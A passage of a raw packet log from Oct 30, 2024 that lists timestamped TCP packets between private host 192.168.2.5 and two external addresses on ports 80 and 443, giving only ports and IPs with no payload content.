Oct 30, 2024 00:21:19.571605921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571616888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571621895 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571625948 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571635962 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571645021 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571646929 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571655035 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571660995 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571665049 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571675062 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571677923 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571680069 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571686029 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571691036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571700096 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571705103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571717024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571719885 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571728945 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571733952 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571741104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571751118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571760893 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571763992 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571773052 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571782112 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571784019 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571794033 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571804047 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571810961 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571815968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571825981 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571827888 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571835995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571842909 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571846008 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571856976 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571866989 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571875095 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571882010 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571886063 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571897030 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571906090 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571908951 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571916103 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571917057 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571927071 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571928978 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.571952105 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.571971893 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.574641943 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.666398048 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.666461945 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.667920113 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.667937994 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.668227911 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.669644117 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.669811010 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:19.669847012 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:19.705699921 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705722094 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705733061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705789089 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705794096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705794096 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705799103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705810070 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705821037 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705830097 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705835104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705856085 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705868959 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705876112 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705885887 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705903053 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705935001 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705946922 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.705955982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705965996 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705974102 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.705995083 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706011057 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706012964 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706023932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706034899 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706058025 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706079960 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706084013 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706093073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706104040 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706119061 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706130028 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706146002 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706159115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706170082 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706191063 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706207037 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706237078 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706248045 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706259012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706269979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706279993 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706281900 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706294060 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706301928 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706311941 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706321955 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706327915 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706362009 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706423998 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706434011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706443071 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706454992 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706465006 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706478119 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706482887 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706490993 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706501961 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706512928 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706526995 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706542015 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706624031 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706634998 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706645012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706655979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706665993 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706671000 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706676006 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706690073 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706710100 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706779003 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706789970 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706800938 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706809998 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706820011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706824064 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706831932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.706844091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706856012 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.706875086 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707077026 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707087040 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707098007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707107067 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707112074 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707122087 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707142115 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707151890 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707158089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707158089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707158089 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707166910 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707170963 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707179070 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707185984 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707190037 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707209110 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707217932 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707227945 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707230091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707242012 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707252979 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707264900 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707268953 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707274914 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707282066 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707294941 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707297087 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707304955 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707320929 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707320929 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707331896 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707331896 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707345963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707357883 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707367897 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707387924 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707484961 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707495928 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707505941 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707515955 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707528114 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707530975 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707539082 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707550049 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707551956 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707571030 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707581043 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707592010 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707598925 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707600117 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707611084 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707616091 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707622051 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707636118 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707645893 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707673073 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707803011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707813978 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707823038 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707834005 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707844973 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707854986 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707865953 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707870007 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707875967 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707887888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707896948 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707900047 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707907915 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707910061 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.707926035 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.707943916 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708007097 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708022118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708038092 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708043098 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708048105 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708054066 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708060026 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708080053 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708122969 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708249092 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708259106 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708270073 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708281040 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708292007 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708301067 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708304882 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708304882 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708312988 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708323002 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708324909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708338022 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708339930 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708348036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708359003 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708363056 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708370924 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708374023 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708381891 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708389044 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708393097 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708401918 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708419085 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708447933 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708632946 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708643913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708653927 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708664894 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708676100 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708677053 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708697081 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708714008 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708756924 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708767891 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708775997 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708786011 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708796024 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708800077 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708807945 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708818913 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708818913 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708834887 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708839893 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708846092 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708857059 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708858967 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708865881 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708870888 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708882093 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708884954 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708894968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708894968 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708906889 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.708916903 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708925009 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.708945990 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709084988 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709096909 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709105968 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709116936 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709126949 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709129095 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709136963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709141970 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709150076 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709158897 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709166050 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709171057 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709178925 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709184885 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709187984 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709196091 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709208965 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709227085 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709237099 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709331036 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709340096 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709348917 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709359884 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709372044 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709383965 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709387064 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709393024 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709395885 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709408045 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709418058 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709427118 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709448099 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709609985 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709619045 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709628105 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709638119 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709646940 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709652901 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709665060 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709676027 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709681988 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709686995 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709695101 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709698915 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709707022 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709712982 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709723949 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709733963 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709737062 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709737062 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709744930 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709755898 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709758043 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709767103 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709772110 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709779978 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709785938 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709795952 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709801912 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.709813118 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.709817886 CET	59791	80	192.168.2.5	185.215.113.16
